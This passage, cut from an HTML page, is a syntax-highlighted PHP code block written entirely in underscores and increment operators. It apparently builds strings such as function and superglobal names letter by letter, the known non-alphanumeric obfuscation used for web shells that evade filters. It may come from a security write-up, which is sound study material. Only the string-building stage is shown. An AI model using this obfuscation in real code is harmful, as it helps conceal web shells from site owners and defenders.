style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">_</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">++</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">____</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">;$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">__</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">___</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span 